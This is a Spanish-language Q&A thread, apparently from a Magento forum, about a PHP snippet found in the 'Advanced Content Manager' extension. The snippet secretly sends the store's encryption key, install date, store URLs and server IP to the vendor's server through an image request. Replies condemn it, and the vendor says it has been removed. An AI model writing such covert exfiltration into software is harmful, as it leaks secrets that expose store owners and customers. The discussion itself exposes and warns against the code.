Perdone mi ignorancia, pero la clave de cifrado se usa para descifrar los datos de Magento, ¿verdad? ¿Hay alguna buena razón para que un módulo acceda a esto? Me encontré con este código después de instalar Advanced Content Manager ...
<div id="banana-tracker">
<?php
$stores = Mage::app()->getStores();
$key = (string)Mage::getConfig()->getNode('global/crypt/key');
$date = (string)Mage::getConfig()->getNode('global/install/date');
$serverIp = $_SERVER['SERVER_ADDR'];
$params = 'key='.$key.'&date='.$date.'&';
foreach($stores as $store)
{
$params .= 'store_'.$store->getCode().'='.urlencode(Mage::app()->getStore($store->getId())->getBaseUrl(Mage_Core_Model_Store::URL_TYPE_LINK)).'&';
}
?>
<img src="http://www.advancedcontentmanager.com/images/distant/banana-tracker.gif?<?php echo $params; ?>time=<?php echo time(); ?>&serverip=<?php echo $serverIp; ?>" />
magento-1.9
TylersSN
fuente
fuente
Respuestas:
Sí ... hay una buena razón.
Quieren saberlo y registrarlo, por si acaso. :)
Debe desinstalar la extensión (lo más probable es que ya lo haya hecho). Nunca debe usar extensiones que "llamen a casa", sin importar qué datos envíen a casa.
Es posible que desee enumerar la extensión aquí para que otros la vean: Código divertido / inútil / horrible de Magento Extensions
fuente
Recibimos la solicitud de soporte sobre esta característica hoy. Ya lo resolvimos y eliminamos este fragmento de código. Una nueva versión está disponible para todos nuestros clientes en su área de clientes (de forma gratuita, ya que ofrecemos actualizaciones ilimitadas).
Sé que necesitamos justificar esto, así que hagamos eso:
Reconocemos que es un error, y esta es la fortaleza de la comunidad y el sistema de código abierto: podemos arreglar y mejorar mucho más rápido. Gracias a todos por habernos alertado, ahora haremos un mayor esfuerzo en la vulnerabilidad.
fuente